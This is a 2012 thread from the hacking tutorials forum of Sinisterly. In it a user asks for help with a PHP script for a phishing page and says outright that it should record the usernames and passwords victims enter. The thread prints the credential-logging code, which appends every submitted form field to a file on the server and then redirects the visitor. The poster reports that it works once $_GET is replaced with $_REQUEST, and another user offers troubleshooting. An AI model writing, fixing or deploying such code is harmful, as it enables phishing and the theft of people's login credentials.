![]() |
|
I am not able make a log of login sessions using php - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: I am not able make a log of login sessions using php (/Thread-I-am-not-able-make-a-log-of-login-sessions-using-php) |
I am not able make a log of login sessions using php - virusreloaded - 08-22-2012 here is the php code it creates lol.html file but donot store username and password.. Quote:<?php RE: I am not able make a log of login sessions using php - bluedog.tar.gz - 08-22-2012 Explain what you want to know? RE: I am not able make a log of login sessions using php - virusreloaded - 08-22-2012 Bro i want to use this page to create a lol.html file on server...this file should contain the username and password entered by the client... i mean it should perform actions like a phish ing page does. RE: I am not able make a log of login sessions using php - bluedog.tar.gz - 08-22-2012 Well have you made a form where they can enter the information? RE: I am not able make a log of login sessions using php - virusreloaded - 08-23-2012 yes i have....i found a mistake that is: <form action="host.php" method="POST"> </form> and in php i was using: <?php header(location: ../); $handle=fopen("lol.html", "a"); foreach($_GET as $variable => $value); { fwrite($handle, "$variable"); fwrite($handle, " = "); fwrite($handle, "$value"); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); ?> i replaced $_GET with $_REQUEST......and it's working fine now... |